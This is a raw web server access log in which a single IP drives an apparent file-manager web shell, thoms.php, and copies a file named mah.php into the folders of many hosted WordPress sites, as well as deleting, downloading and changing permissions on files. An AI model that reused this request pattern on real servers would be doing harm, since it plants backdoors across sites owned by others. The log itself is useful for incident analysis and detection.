45.135.193.11 - - [11/Sep/2026:23:49:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 20538 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17358 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 200 11324 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 200 11340 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw%2F.well-known HTTP/1.1" 200 11387 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17365 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 200 11341 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 200 11832 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 11827 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 200 11384 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:01 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 11336 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 11332 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17476 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17476 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 11437 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17711 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17702 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 11389 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:02 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 11833 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 11342 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?del=mah-20260912023710.php&p= HTTP/1.1" 200 22934 "http://163.245.207.76:443/thoms.php?del=mah-20260912023710.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /mah-20260912023710.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah-20260912023710.php&p= HTTP/1.1" 200 12409 "http://163.245.207.76:443/thoms.php?copy=mah-20260912023710.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?p=&view=mah-20260912023710.php HTTP/1.1" 200 11784 "http://163.245.207.76:443/thoms.php?p=&view=mah-20260912023710.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?dl=mah-20260912023710.php&p= HTTP/1.1" 200 22941 "http://163.245.207.76:443/thoms.php?dl=mah-20260912023710.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?chmod=mah-20260912023710.php&p= HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?chmod=mah-20260912023710.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11322 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11420 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11425 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20968 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11340 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:03 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11831 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20966 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22939 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13337 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13316 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22920 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22931 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22947 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22932 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:04 -0400] "GET /thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22931 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12903 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?copy=mah.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22789 "https://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:05 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12927 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
